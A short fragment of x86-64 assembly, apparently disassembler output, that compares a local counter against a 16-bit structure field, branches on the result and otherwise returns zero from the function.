movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d0b94
mov eax, 0
add rsp, 0x20
pop rbp
ret